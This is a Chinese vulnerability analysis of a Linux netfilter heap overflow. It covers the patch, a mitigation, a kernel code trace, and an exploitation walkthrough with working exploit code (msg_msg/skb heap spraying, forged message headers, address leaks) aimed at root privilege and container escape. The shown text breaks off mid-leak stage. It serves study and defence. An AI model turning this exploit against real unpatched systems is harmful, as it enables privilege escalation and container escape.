当调用`setsockopt()`和选项`IPT_SO_SET_REPLACE`（或
`IP6T_SO_SET_REPLACE`）时，内核结构需要从32位转换为64位，由于错误计算转换大小，导致在调用
[xt_compat_match_from_user()](https://elixir.bootlin.com/linux/v5.11.14/source/net/netfilter/x_tables.c#L731)
函数时 **堆溢出写 0**
。攻击者可用于提权，或者从docker、k8s容器（[kubernetes](https://zhuanlan.zhihu.com/p/29232090)）中逃逸。需要`CAP_NET_ADMIN`权限，或者支持`user+network`命名空间。
**补丁**
：[patch](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/net/netfilter/x_tables.c?id=b29c457a6511435960115c0f548c4360d5f4801d)
取消pad对齐，也可以禁用非特权用户执行`CLONE_NEWUSER`、`CLONE_NEWNET`，以缓解该漏洞：`echo 0 >
/proc/sys/user/max_user_namespaces`。
diff --git a/net/netfilter/x_tables.c b/net/netfilter/x_tables.c
index 6bd31a7a27fc5..92e9d4ebc5e8d 100644
--- a/net/netfilter/x_tables.c
+++ b/net/netfilter/x_tables.c
@@ -733,7 +733,7 @@ void xt_compat_match_from_user(struct xt_entry_match *m, void **dstptr,
{
const struct xt_match *match = m->u.kernel.match;
struct compat_xt_entry_match *cm = (struct compat_xt_entry_match *)m;
- int pad, off = xt_compat_match_offset(match);
+ int off = xt_compat_match_offset(match);
u_int16_t msize = cm->u.user.match_size;
char name[sizeof(m->u.user.name)];
@@ -743,9 +743,6 @@ void xt_compat_match_from_user(struct xt_entry_match *m, void **dstptr,
match->compat_from_user(m->data, cm->data);
else
memcpy(m->data, cm->data, msize - sizeof(*cm));
- pad = XT_ALIGN(match->matchsize) - match->matchsize;
- if (pad > 0)
- memset(m->data + match->matchsize, 0, pad);
msize += off;
m->u.user.match_size = msize;
@@ -1116,7 +1113,7 @@ void xt_compat_target_from_user(struct xt_entry_target *t, void **dstptr,
{
const struct xt_target *target = t->u.kernel.target;
struct compat_xt_entry_target *ct = (struct compat_xt_entry_target *)t;
- int pad, off = xt_compat_target_offset(target);
+ int off = xt_compat_target_offset(target);
u_int16_t tsize = ct->u.user.target_size;
char name[sizeof(t->u.user.name)];
@@ -1126,9 +1123,6 @@ void xt_compat_target_from_user(struct xt_entry_target *t, void **dstptr,
target->compat_from_user(t->data, ct->data);
else
memcpy(t->data, ct->data, tsize - sizeof(*ct));
- pad = XT_ALIGN(target->targetsize) - target->targetsize;
- if (pad > 0)
- memset(t->data + target->targetsize, 0, pad);
tsize += off;
t->u.user.target_size = tsize;
**保护机制** ：开启KASLR/SMEP/SMAP。
**利用总结** ：
* （1）构造4096个`msg_msg`主消息（0x1000）和辅助消息（0x400），利用2字节溢出写0来修改某个主消息的`msg_msg->m_list->next`低2字节，使得两个主消息指向同一个辅助消息，将 **2字节溢出写0转化为UAF** 。
* （2）注意，spray对象采用skb对象，victim对象采用`pipe()`管道中的`pipe_buf_operations`结构。首先利用skb改大`msg_msg->m_ts`，泄露相邻辅助消息的 **`msg_msg->m_list->prev`**（主消息地址，也即0x1000堆块地址）；
* （3）再利用skb伪造`msg_msg->next`指向泄露的主消息地址， **泄露`msg_msg->m_list->next`**（辅助消息地址，也即0x400堆块地址）；
* （4）再利用skb伪造`msg_msg->m_list->next & prev`，以避免再次释放辅助消息时访问无效链表地址导致崩溃；
* （5）使`pipe_buffer`结构占据释放后的0x400空闲块，利用读skb **泄露其`ops`指针**，也即内核基址；
* （6）利用skb篡改`pipe_buffer->ops->release`指针， **劫持控制流** 。
* （7）如果需要进行docker或k8s **容器逃逸** ，则ROP链在执行`commit_creds(prepare_kernel_cred(0))`提权后，需执行`switch_task_namespaces(find_task_by_vpid(1), init_nsproxy)`，以 **替换exp进程的命名空间** 。
* * *
## 1\. Netfilter介绍
**简介** ：Natfilter 是集成到linux内核协议栈中的一套防火墙系统。
**数据结构的关系** ：
* （1）Netfilter 中有包含一些表（table)，不同的表用来存储不同功能的配置信息，默认有4种table，还可以另外创建。
* （2）每个table 里有多个chain，chain表示对报文的拦截处理点。例如网络层ipv4有5个拦截点，对应5个chain：报文路由前-`PREROUTING`，需三层转发的报文-FORWARD，本机生成的报文-OUTPUT，本机接收的报文-INPUT，路由后的报文-POSTROUTING。
* （3）每个chain 包含一些用户配置的rule，一条rule包含了一个或多个 **匹配规则（match)** 和一个 **执行动作（target）** 。如果报文符合匹配规则后，需要根据该执行动作（target）来处理报文。标准的匹配元素包含源/目的IP地址、接收/发送设备、传输层协议这五个元素，标准的执行动作包含ACCEPT、DROP、QUEUE、RETURN。
**四大功能（table）** ：
* （1）对报文的过滤（对应filter表），包含3个chain—INPUT/OUTPUT/FORWARD。
* （2）对报文的修改（对应mangle表），包含以上5个chain。
* （3）对会话的连接跟踪（connection track)，包含2个chain，OUTPUT/PREROUTING。
* （4）网络地址转换（NAT)，包含3个chain，PREROUNGIN/OUTPUT/POSTROUTIN。
**`table->chain->rule`结构关系图示**：在内核空间，每个CPU上维护了一份rule的拷贝（有多少个CPU，就有多少个`entries`）。这样做是为了减少锁的使用及增加硬件L1
cache的命中次数，以空间换时间。
**`table->chain->rule`具体结构**：表用
[xt_table](https://elixir.bootlin.com/linux/v5.11.14/source/include/linux/netfilter/x_tables.h#L223)
->
[xt_table_info](https://elixir.bootlin.com/linux/v5.11.14/source/include/linux/netfilter/x_tables.h#L248)结构表示；每条rule用[ipt_entry](https://elixir.bootlin.com/linux/v5.11.14/source/include/uapi/linux/netfilter_ipv4/ip_tables.h#L106)结构表示；match匹配规则用[xt_entry_match](https://elixir.bootlin.com/linux/v5.11.14/source/include/uapi/linux/netfilter/x_tables.h#L11)表示（用户空间和内核共享同一结构）；target执行动作用[xt_entry_target](https://elixir.bootlin.com/linux/v5.11.14/source/include/uapi/linux/netfilter/x_tables.h#L34)表示（用户空间和内核共享同一结构）。
//（1）xt_table —— 表
struct xt_table {
struct list_head list;
/* What hooks you will enter on */
unsigned int valid_hooks;
struct xt_table_info *private; // 指向真正存储rule的结构体
/* Set this to THIS_MODULE if you are a module, otherwise NULL */
struct module *me;
u_int8_t af; // 表所属的协议族
int priority; /* hook order */
/* called when table is needed in the given netns */
int (*table_init)(struct net *net);
const char name[XT_TABLE_MAXNAMELEN]; // 表的名字，如filter/nat/mangle
};
struct xt_table_info {
unsigned int size; // 表中所有规则rule占用的内存大小
unsigned int number; // 表中存的rule个数
unsigned int initial_entries; // 初始化表时创建的默认rule个数
unsigned int hook_entry[NF_INET_NUMHOOKS]; // 各个hook(chain)在表中的偏移量
unsigned int underflow[NF_INET_NUMHOOKS]; // 各个hook(chain)中默认规则在表中的偏移量
unsigned int stacksize;
void ***jumpstack;
unsigned char entries[] __aligned(8); // 数组，存储各个cpu上自己rule拷贝的内存首地址
};
//（2）ipt_entry —— 规则rule
struct ipt_entry
{
struct ipt_ip ip; // 规则的基本匹配条件，源IP/目的IP、输入/输出网卡、协议
unsigned int nfcache;
u_int16_t target_offset; // ipt_entry + matches 这条规则的target距离规则起点的偏移量
u_int16_t next_offset; // ipt_entry + matches + target 下一条规则距离这条规则起点的偏移量
unsigned int comefrom;
struct xt_counters counters; // 计数器，每条规则都有计数器，一旦skb匹配这条规则，那么计数器累加，计数器有字节数和包数两个统计量
unsigned char elems[0]; //这条规则中的match和target，因为不确定到底有几个match，所以使用零长度数组
};
//（3）xt_entry_match —— 匹配规则match，用户空间和内核空间共享match_size和data字段
#define ipt_entry_match xt_entry_match
struct xt_entry_match
{
union { // 用户态和内核态使用不同的结构表示match。它们的第一个成员都是match的总大小
struct { // a. 用户态
u_int16_t match_size;
char name[XT_FUNCTION_MAXNAMELEN-1]; // 该match的版本,通过match的名称与版本信息可以唯一确定一个match。
u_int8_t revision;
} user;
struct { // b. 内核态
u_int16_t match_size;
struct xt_match *match; // 指向扩展的match信息（每一个扩展match都是一个xt_match对象）。根据ipt_entry_match.u.user.name找到对应的match，将ipt_entry_match.u.kernel.match指针指向系统中已注册的struct xt_match对象
} kernel;
u_int16_t match_size; // 整个match占用的内存空间
} u;
unsigned char data[0];
};
//（4）xt_entry_target —— 执行动作target，用户空间和内核空间共享match_size字段
#define ipt_entry_target xt_entry_target
struct xt_entry_target
{
union {
struct { // a. 用户态
u_int16_t target_size;
char name[XT_FUNCTION_MAXNAMELEN-1];
u_int8_t revision;
} user;
struct { // b. 内核态
u_int16_t target_size;
struct xt_target *target; // target信息，如果target->target()函数指针为NULL，那么是一个标准target，否则为扩展target。根据ipt_entry_target.u.user.name找到对应的target，将ipt_entry_target.u.kernel.target指针指向系统中已注册的struct xt_target对象
} kernel;
u_int16_t target_size;
} u;
unsigned char data[0]; // 对于扩展target，该指针指向内容会传给其target()回调，这个指针内容由扩展target自由使用，只要内核态和用户态保持一致就可以
};
**应用层与Netfilter的通信机制**
：netfilter和用户空间进行通信使用的是两个socket的系统调用，`setsockopt()`和`getsockopt()`，把用户空间的地址传给内核，内核使用`copy_from_user()`
和
`copy_to_user()`来进行数据的传递。基于setsockopt和getsockopt系统调用的机制，Netfilter提供了一个基本框架，允许不同协议的防火墙来自己实现自己和用户空间的通信函数，涉及两个函数，调用`nf_register_sockopt()`将`nf_sockopt_ops`结构实例注册到netfilter管理的全局链表上，调用`nf_sockopt_find()`查找对应命令字的`nf_sockopt_ops`结构。
* * *
## 2\. 漏洞分析
#### 2-1 漏洞原因
**漏洞**
：[xt_compat_target_from_user()](https://elixir.bootlin.com/linux/v5.11.14/source/net/netfilter/x_tables.c#L1114)函数，将`xt_entry_match->data`指向的缓冲区进行8字节对齐，不足8字节的空间清0，但如果`target->targetsize`没有8字节对齐，这里会越界将pad个字节清0。`target->targetsize`并不由用户直接控制，可以通过选择不同的target结构体类型来控制`targetsize`大小。
#ifdef CONFIG_COMPAT
int xt_compat_target_offset(const struct xt_target *target)
{
u_int16_t csize = target->compatsize ? : target->targetsize;
return XT_ALIGN(target->targetsize) - COMPAT_XT_ALIGN(csize);
}
EXPORT_SYMBOL_GPL(xt_compat_target_offset);
void xt_compat_target_from_user(struct xt_entry_target *t, void **dstptr,
unsigned int *size)
{
const struct xt_target *target = t->u.kernel.target;
struct compat_xt_entry_target *ct = (struct compat_xt_entry_target *)t; // ct=t的副本
int pad, off = xt_compat_target_offset(target);
u_int16_t tsize = ct->u.user.target_size;
char name[sizeof(t->u.user.name)];
t = *dstptr;
memcpy(t, ct, sizeof(*ct)); // ct 拷贝到 dstptr
if (target->compat_from_user)
target->compat_from_user(t->data, ct->data);
else
memcpy(t->data, ct->data, tsize - sizeof(*ct));
pad = XT_ALIGN(target->targetsize) - target->targetsize; // [1] 对缓冲区进行8字节对齐，target->targetsize 用来指定t->data实际使用长度
if (pad > 0)
memset(t->data + target->targetsize, 0, pad); // [2] 将不足8字节的剩余空间清0，存在越界写0
tsize += off;
t->u.user.target_size = tsize;
strlcpy(name, target->name, sizeof(name));
module_put(target->me);
strncpy(t->u.user.name, name, sizeof(t->u.user.name));
*size += off;
*dstptr += tsize;
}
EXPORT_SYMBOL_GPL(xt_compat_target_from_user);
#### 2-2 漏洞触发流程跟踪
**ip_tables模块初始化流程**
：[ip_tables_init()](https://elixir.bootlin.com/linux/v5.11.14/source/net/ipv4/netfilter/ip_tables.c#L1899)
->
[nf_register_sockopt()](https://elixir.bootlin.com/linux/v5.11.14/source/net/netfilter/nf_sockopt.c#L25)
-> struct
[nf_sockopt_ops](https://elixir.bootlin.com/linux/v5.11.14/source/include/linux/netfilter.h#L159)
[ipt_sockopts](https://elixir.bootlin.com/linux/v5.11.14/source/net/ipv4/netfilter/ip_tables.c#L1848)
注册`setsockopt`。这样用户调用`setsockopt`时，才能找到对应的处理函数，也即`do_ipt_set_ctl()`。
static int __init ip_tables_init(void)
{
int ret;
ret = register_pernet_subsys(&ip_tables_net_ops);
ret = xt_register_targets(ipt_builtin_tg, ARRAY_SIZE(ipt_builtin_tg));
ret = xt_register_matches(ipt_builtin_mt, ARRAY_SIZE(ipt_builtin_mt));
/* Register setsockopt */
ret = nf_register_sockopt(&ipt_sockopts); // <------------- nf_register_sockopt()
[... ...]
return ret;
}
static struct nf_sockopt_ops ipt_sockopts = {
.pf = PF_INET,
.set_optmin = IPT_BASE_CTL,
.set_optmax = IPT_SO_SET_MAX+1,
.set = do_ipt_set_ctl, // <--------------- do_ipt_set_ctl()
.get_optmin = IPT_BASE_CTL,
.get_optmax = IPT_SO_GET_MAX+1,
.get = do_ipt_get_ctl,
.owner = THIS_MODULE,
};
**漏洞触发流程** ：`setsockopt(s, SOL_IP, IPT_SO_SET_REPLACE, ...)` ->
[nf_setsockopt()](https://elixir.bootlin.com/linux/v5.11.14/source/net/netfilter/nf_sockopt.c#L92)
->
[do_ipt_set_ctl()](https://elixir.bootlin.com/linux/v5.11.14/source/net/ipv4/netfilter/ip_tables.c#L1621)
->
[compat_do_replace()](https://elixir.bootlin.com/linux/v5.11.14/source/net/ipv4/netfilter/ip_tables.c#L1511)
->
[translate_compat_table()](https://elixir.bootlin.com/linux/v5.11.14/source/net/ipv4/netfilter/ip_tables.c#L1440)
->
[compat_copy_entry_from_user()](https://elixir.bootlin.com/linux/v5.11.14/source/net/ipv4/netfilter/ip_tables.c#L1376)
->
[xt_compat_match_from_user](https://elixir.bootlin.com/linux/v5.11.14/source/net/netfilter/x_tables.c#L731)
&
[xt_compat_target_from_user()](https://elixir.bootlin.com/linux/v5.11.14/source/net/netfilter/x_tables.c#L1114)
总之就是将用户传入的rule规则进行转换存储时，出现堆溢出写0。构造用户参数data，通过控制pad大小，控制溢出字节数。`data->ipt_replace->size
= 0xFB6`，导致分配`sizeof(xt_table_info) + ipt_replace->size` = `0x40+0xfB6` =
`0xff6`的堆块，转换用户传入规则时错误对齐，刚好溢出覆盖下一个0x1000堆块的前2 字节，造成指针的指向错误。
**用户参数** ：综上，用户传入的参数结构为
[ipt_replace](https://elixir.bootlin.com/linux/v5.11.14/source/include/uapi/linux/netfilter_ipv4/ip_tables.h#L179)
\+
[ipt_entry](https://elixir.bootlin.com/linux/v5.11.14/source/include/uapi/linux/netfilter_ipv4/ip_tables.h#L106)
\+
[xt_entry_match](https://elixir.bootlin.com/linux/v5.11.14/source/include/uapi/linux/netfilter/x_tables.h#L11)
\+ pad +
[xt_entry_target](https://elixir.bootlin.com/linux/v5.11.14/source/include/uapi/linux/netfilter/x_tables.h#L34)。注意，
[compat_ipt_replace](https://elixir.bootlin.com/linux/v5.11.14/source/net/ipv4/netfilter/ip_tables.c#L1203)
等同于
[ipt_replace](https://elixir.bootlin.com/linux/v5.11.14/source/include/uapi/linux/netfilter_ipv4/ip_tables.h#L179)
结构。
// do_ipt_set_ctl()
static int do_ipt_set_ctl(struct sock *sk, int cmd, sockptr_t arg, unsigned int len)
{
int ret;
if (!ns_capable(sock_net(sk)->user_ns, CAP_NET_ADMIN)) // [1] 需满足 CAP_NET_ADMIN 权限，可以在启动脚本赋予exp权限，或者支持namespace就行
return -EPERM;
switch (cmd) {
case IPT_SO_SET_REPLACE:
#ifdef CONFIG_COMPAT // 编译内核时需设置 CONFIG_COMPAT
if (in_compat_syscall())
ret = compat_do_replace(sock_net(sk), arg, len); // [2] <----------------- else
#endif
ret = do_replace(sock_net(sk), arg, len);
... ...
return ret;
}
// [2] compat_do_replace() —— 分配 xt_table_info 结构, 拷贝用户参数
static int compat_do_replace(struct net *net, sockptr_t arg, unsigned int len)
{
int ret;
struct compat_ipt_replace tmp;
struct xt_table_info *newinfo;
void *loc_cpu_entry;
struct ipt_entry *iter;
if (copy_from_sockptr(&tmp, arg, sizeof(tmp)) != 0) // [3] 获取size参数，用户参数开头是 compat_ipt_replace （内核）变长结构，等同于 ipt_replace （用户）结构
return -EFAULT;
/* overflow check */
if (tmp.num_counters >= INT_MAX / sizeof(struct xt_counters))
return -ENOMEM;
if (tmp.num_counters == 0)
return -EINVAL;
tmp.name[sizeof(tmp.name)-1] = 0;
newinfo = xt_alloc_table_info(tmp.size); // [4] 分配空间 kvmalloc(sz, GFP_KERNEL_ACCOUNT); sz = sizeof(xt_table_info) + ipt_replace->size = 0x40 + (0xFB8 - 0x2) = 0xFF8 - 0x2 注意两点，一是分配采用 GFP_KERNEL_ACCOUNT 标志（与GFP_KERNEL相同，除了分配记入kmemcg），二是分配的堆块属于0x1000。 分配之后赋值 xt_table_info->size = ipt_replace->size = 0xFB6
if (!newinfo)
return -ENOMEM;
loc_cpu_entry = newinfo->entries;
if (copy_from_sockptr_offset(loc_cpu_entry, arg, sizeof(tmp), // [5] 拷贝用户参数， 从偏移arg+sizeof(ipt_replace) 开始拷贝，跳过 ipt_replace 结构
tmp.size) != 0) {
ret = -EFAULT;
goto free_newinfo;
}
ret = translate_compat_table(net, &newinfo, &loc_cpu_entry, &tmp); // [6] <-------------- if (ret != 0)
goto free_newinfo;
ret = __do_replace(net, tmp.name, tmp.valid_hooks, newinfo,
tmp.num_counters, compat_ptr(tmp.counters));
... ...
return ret;
}
// [6] translate_compat_table() —— 分配新的 xt_table_info 结构，进行转换
static int translate_compat_table(struct net *net,
struct xt_table_info **pinfo,
void **pentry0,
const struct compat_ipt_replace *compatr)
{
unsigned int i, j;
struct xt_table_info *newinfo, *info;
void *pos, *entry0, *entry1;
struct compat_ipt_entry *iter0;
struct ipt_replace repl;
unsigned int size;
int ret;
info = *pinfo;
entry0 = *pentry0;
size = compatr->size;
info->number = compatr->num_entries; // 传入的是1
... ...
newinfo = xt_alloc_table_info(size); // [7] 分配新的 xt_table_info 结构 —— newinfo
if (!newinfo)
goto out_unlock;
newinfo->number = compatr->num_entries;
for (i = 0; i < NF_INET_NUMHOOKS; i++) {
newinfo->hook_entry[i] = compatr->hook_entry[i];
newinfo->underflow[i] = compatr->underflow[i];
}
entry1 = newinfo->entries; //
pos = entry1;
size = compatr->size; // size = 0xFB8 - 0x2 = 0xfb6
xt_entry_foreach(iter0, entry0, compatr->size)
compat_copy_entry_from_user(iter0, &pos, &size, // [8] <-------------- 转换entry结构，从32位到64位，传给 newinfo
newinfo, entry1);
... ...
}
// [8] compat_copy_entry_from_user() —— 旧的 xt_table_info 拷贝到新的 xt_table_info 结构
static void compat_copy_entry_from_user(struct compat_ipt_entry *e, void **dstptr,
unsigned int *size,
struct xt_table_info *newinfo, unsigned char *base)
{
struct xt_entry_target *t;
struct ipt_entry *de;
unsigned int origsize;
int h;
struct xt_entry_match *ematch;
origsize = *size;
de = *dstptr;
memcpy(de, e, sizeof(struct ipt_entry)); // [9] 先拷贝 ipt_entry 结构
memcpy(&de->counters, &e->counters, sizeof(e->counters)); // 包和字节计数
*dstptr += sizeof(struct ipt_entry);
*size += sizeof(struct ipt_entry) - sizeof(struct compat_ipt_entry);
xt_ematch_foreach(ematch, e)
xt_compat_match_from_user(ematch, dstptr, size); // [10] 再拷贝 xt_entry_match 结构, off=4, pad=4, msize=u.user.match_size+off=0xf26+4=0xf2a（用户传入的）, match->matchsize=4, 拷贝完成后*dstptr+= msize = 0xffff888006e010b0+0xf2a = FFFF888006E01FDA, size+=off = 0xfba
de->target_offset = e->target_offset - (origsize - *size); // target_offset 原来是 ipt_entry + matches 结构的大小，现在减小了 4
t = compat_ipt_get_target(e);
xt_compat_target_from_user(t, dstptr, size); // [11] <------------ 漏洞函数: 再拷贝 xt_entry_target 结构, 如下所示
de->next_offset = e->next_offset - (origsize - *size);
... ...
}
// [11] xt_compat_target_from_user() —— 拷贝 xt_entry_target 结构，对齐导致溢出
void xt_compat_target_from_user(struct xt_entry_target *t, void **dstptr,
unsigned int *size)
{
const struct xt_target *target = t->u.kernel.target;
struct compat_xt_entry_target *ct = (struct compat_xt_entry_target *)t;
int pad, off = xt_compat_target_offset(target); // off = target->targetsize = 4
u_int16_t tsize = ct->u.user.target_size; // tsize = 0x20
char name[sizeof(t->u.user.name)];
t = *dstptr; // t = 0xffff888006e01fda
memcpy(t, ct, sizeof(*ct)); // 拷贝0x20
if (target->compat_from_user)
target->compat_from_user(t->data, ct->data);
else
memcpy(t->data, ct->data, tsize - sizeof(*ct));
pad = XT_ALIGN(target->targetsize) - target->targetsize;// pad = 4
if (pad > 0)
memset(t->data + target->targetsize, 0, pad); // [12] t+0x20+4 处填充pad个0，也就是 0xffff888006e01ffe处填4个0，溢出2个字节, <------------------------- 溢出点
tsize += off; // tsize = 0x24
t->u.user.target_size = tsize; //
strlcpy(name, target->name, sizeof(name));
module_put(target->me);
strncpy(t->u.user.name, name, sizeof(t->u.user.name));
*size += off; // *size= 0xfba+4 = 0xfbe
*dstptr += tsize; // *dstptr = 0xffff888006e01ffe
}
EXPORT_SYMBOL_GPL(xt_compat_target_from_user);
**漏洞对象**
：[xt_table_info](https://elixir.bootlin.com/linux/v5.11.14/source/include/linux/netfilter/x_tables.h#L248)
变长结构，`entries`为用户传入，每个`entries` 包含
[ipt_entry](https://elixir.bootlin.com/linux/v5.11.14/source/include/uapi/linux/netfilter_ipv4/ip_tables.h#L106)
\+
[xt_entry_match](https://elixir.bootlin.com/linux/v5.11.14/source/include/uapi/linux/netfilter/x_tables.h#L11)
\+ pad +
[xt_entry_target](https://elixir.bootlin.com/linux/v5.11.14/source/include/uapi/linux/netfilter/x_tables.h#L34)，第一节中已经介绍过。
struct xt_table_info {
unsigned int size; // entries 总大小, 不包括 xt_table_info 结构大小0x40
unsigned int number; // entries 数目
unsigned int initial_entries;
unsigned int hook_entry[NF_INET_NUMHOOKS];
unsigned int underflow[NF_INET_NUMHOOKS];
unsigned int stacksize;
void ***jumpstack;
unsigned char entries[] __aligned(8); // 每个`entries` 包含 `ipt_entry` + `xt_entry_match` + pad + `xt_entry_target`
};
* * *
## 3\. 漏洞利用
`msg_msg`结构的创建与读取，也即消息的发送与接收，可以参考文章
[Linux内核中利用msg_msg结构实现任意地址读写](https://www.anquanke.com/post/id/252558)
中对`msgsnd()`和`msgrcv()`源码的分析过程。
**3-1 漏洞转化：2字节溢出写0转化为UAF**
**（1）调用`msgget()`创建4096个消息队列**
消息队列数目没有限制，但创建越多，exp越稳定
for (int i = 0; i < NUM_MSQIDS; i++) {
if ((msqid[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0) {
perror("[-] msgget");
goto err_no_rmid;
}
}
**（2）主消息填充**
**目的** ：填充4096个主消息，消息大小为0x1000，以得到一个整齐的空间布局，使`msg_msg`结构体尽可能相邻。
int write_msg(int msqid, const void *msgp, size_t msgsz, long msgtyp) {
*(long *)msgp = msgtyp;
if (msgsnd(msqid, msgp, msgsz - sizeof(long), 0) < 0) {
perror("[-] msgsnd");
return -1;
}
return 0;
}
printf("[*] Spraying primary messages...\n");
for (int i = 0; i < NUM_MSQIDS; i++) {
memset(&msg_primary, 0, sizeof(msg_primary));
*(int *)&msg_primary.mtext[0] = MSG_TAG;
*(int *)&msg_primary.mtext[4] = i;
if (write_msg(msqid[i], &msg_primary, sizeof(msg_primary), MTYPE_PRIMARY) <
0)
goto err_rmid;
}
`int msgsend(int msgid, const void *msg_ptr, size_t msg_sz, int msgflg)`
msgid——消息队列标识符；msg_ptr——指向结构体{mtype, mtext}；`msg_ptr.mtext[0]=MSG_TAG`——
标识该内存区域为堆喷控制；`msg_ptr.mtext[4]=i`—— 标识该内存区id，以便识别内存区。
**（3）辅助消息填充**
为每个消息队列添加辅助消息，消息大小为0x400，消息标识与主消息对应。
printf("[*] Spraying secondary messages...\n");
for (int i = 0; i < NUM_MSQIDS; i++) {
memset(&msg_secondary, 0, sizeof(msg_secondary));
*(int *)&msg_secondary.mtext[0] = MSG_TAG;
*(int *)&msg_secondary.mtext[4] = i;
if (write_msg(msqid[i], &msg_secondary, sizeof(msg_secondary),
MTYPE_SECONDARY) < 0)
goto err_rmid;
}
**（4）释放部分主消息**
**目的**
：释放第1024、2048、3072个主消息，获得0x1000内存空洞，希望被`xt_table_info`结构获得，这样就能利用2字节溢出写0。
int read_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) {
if (msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, 0) < 0) {
perror("[-] msgrcv");
return -1;
}
return 0;
}
printf("[*] Creating holes in primary messages...\n");
for (int i = HOLE_STEP; i < NUM_MSQIDS; i += HOLE_STEP) {
if (read_msg(msqid[i], &msg_primary, sizeof(msg_primary), MTYPE_PRIMARY) <
0)
goto err_rmid;
}
**（5）触发漏洞**
利用2字节溢出，将相邻的msg_msg结构体中`msg_msg->m_list->next`末尾两字节覆盖为0,
使得该主消息的`msg_msg->m_list->next`指向其他主消息的辅助消息。
**目的** ：使某个内存被两个主消息引用。
printf("[*] Triggering out-of-bounds write...\n");
if (trigger_oob_write(s) < 0)
goto err_rmid;
**（6）定位发生错误的消息队列索引**
**方法**
：直接查看消息内存，如果主消息和辅助消息队列的标识不同，则表示主消息`msg_msg->m_list->next`成员被修改。为保证查看消息时，避免消息被释放，需使用`MSG_COPY`标志接收消息。
printf("[*] Searching for corrupted primary message...\n");
for (int i = 0; i < NUM_MSQIDS; i++) {
if (i != 0 && (i % HOLE_STEP) == 0)
continue;
if (peek_msg(msqid[i], &msg_secondary, sizeof(msg_secondary), 1) < 0)
goto err_no_rmid;
if (*(int *)&msg_secondary.mtext[0] != MSG_TAG) {
printf("[-] Error could not corrupt any primary message.\n");
goto err_no_rmid;
}
if (*(int *)&msg_secondary.mtext[4] != i) {
fake_idx = i;
real_idx = *(int *)&msg_secondary.mtext[4];
break;
}
}
if (fake_idx == -1 && real_idx == -1) {
printf("[-] Error could not corrupt any primary message.\n");
goto err_no_rmid;
}
// fake_idx's primary message has a corrupted next pointer; wrongly
// pointing to real_idx's secondary message.
printf("[+] fake_idx: %x\n", fake_idx);
printf("[+] real_idx: %x\n", real_idx);
**（7）spray对象和victim对象占据msg_msg**
使用包含函数指针的victim结构体和spray结构体（skb）来占据`msg_msg`。假设现在主消息1和主消息2的`msg_msg->m_list->next`指向同一辅助消息。
* 1.主消息1放弃辅助消息msg_msg, skb占据msg_msg
* 2.主消息2放弃辅助消息msg_msg, victim结构占据msg_msg
* 3.此时skb与victim结构占据同一内存空间
* 4.修改skb劫持victim结构内函数指针
* 5.触发victim结构函数指针，劫持控制流
但是注意到当实现步骤2时，必须伪造`msg_msg->m_list->next`成员，如果此时主消息2释放msg_msg，辅助消息会被从循环链表`msg_msg->m_list`中去除，也就是说此阶段会涉及到对于`msg_msg->m_list->next`的读写，因为开启了smap保护机制，所以在用户态伪造该字段无意义，内核在此处会检查到smap错误，利用失败，所以接下来需要绕过SMAP。
**3-2 避免崩溃：伪造`msg_msg->m_list->next & prev`指针**
**（1）释放被重复引用的辅助消息**
printf("[*] Freeing real secondary message...\n");
if (read_msg(msqid[real_idx], &msg_secondary, sizeof(msg_secondary),
MTYPE_SECONDARY) < 0)
goto err_rmid;
**（2）skb堆喷并伪造辅助消息**
**注意** ： **伪造`m_ts`字段**（最大化），表示消息长度，以便越界读取，泄露地址。
void build_msg_msg(struct msg_msg *msg, uint64_t m_list_next,
uint64_t m_list_prev, uint64_t m_ts, uint64_t next) {
msg->m_list_next = m_list_next;
msg->m_list_prev = m_list_prev;
msg->m_type = MTYPE_FAKE;
msg->m_ts = m_ts;
msg->next = next;
msg->security = 0;
}
int spray_skbuff(int ss[NUM_SOCKETS][2], const void *buf, size_t size) {
for (int i = 0; i < NUM_SOCKETS; i++) {
for (int j = 0; j < NUM_SKBUFFS; j++) {
if (write(ss[i][0], buf, size) < 0) {
perror("[-] write");
return -1;
}
}
}
return 0;
}
printf("[*] Spraying fake secondary messages...\n");
memset(secondary_buf, 0, sizeof(secondary_buf));
build_msg_msg((void *)secondary_buf, 0x41414141, 0x42424242,
PAGE_SIZE - MSG_MSG_SIZE, 0);
if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
goto err_rmid;
**（3）泄露相邻辅助消息- >主消息的堆地址（0x1000堆块地址）**
由于`m_ts`变大，可以越界读取相邻辅助消息的消息头，主要是泄露`msg_msg->m_list->next`和`msg_msg->m_list->prev`（相邻辅助消息的主消息堆地址，记为`kheap_addr`）。
// Use the fake secondary message to read out-of-bounds.
printf("[*] Leaking adjacent secondary message...\n");
if (peek_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), 1) < 0)
goto err_rmid;
// Check if the leak is valid.
if (*(int *)&msg_fake.mtext[SECONDARY_SIZE] != MSG_TAG) {
printf("[-] Error could not leak adjacent secondary message.\n");
goto err_rmid;
}
// The secondary message contains a pointer to the primary message.
msg = (struct msg_msg *)&msg_fake.mtext[SECONDARY_SIZE - MSG_MSG_SIZE];
kheap_addr = msg->m_list_next;
if (kheap_addr & (PRIMARY_SIZE - 1))
kheap_addr = msg->m_list_prev;
printf("[+] kheap_addr: %" PRIx64 "\n", kheap_addr);
**（4）泄露fake辅助消息的堆地址（0x400堆块地址）**
释放skb，重新填充该fake辅助消息， **`msg_msg->next =
kheap_addr`**，因此，某个主消息成了该辅助消息的segment（`msg_msgseg`结构）。这样就能越界读取主消息的头，主消息的`msg_msg->m_list->next`指向与之对应的辅助消息，也即fake辅助消息相邻的辅助消息，该内存地址-0x400，即为fake辅助消息的真实地址。
再次释放skb，将fake辅助消息的`msg_msg->m_list->next`填充为该fake辅助消息的真实地址，即可再次释放fake辅助消息时避免SMAP崩溃。
printf("[*] Freeing fake secondary messages...\n");
free_skbuff(ss, secondary_buf, sizeof(secondary_buf));
// Put kheap_addr at next to leak its content. Assumes zero bytes before
// kheap_addr.
printf("[*] Spraying fake secondary messages...\n");
memset(secondary_buf, 0, sizeof(secondary_buf));
build_msg_msg((void *)secondary_buf, 0x41414141, 0x42424242,
sizeof(msg_fake.mtext), kheap_addr - MSG_MSGSEG_SIZE); // fist 8 bytes must be NULL
if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
goto err_rmid;
// Use the fake secondary message to read from kheap_addr.
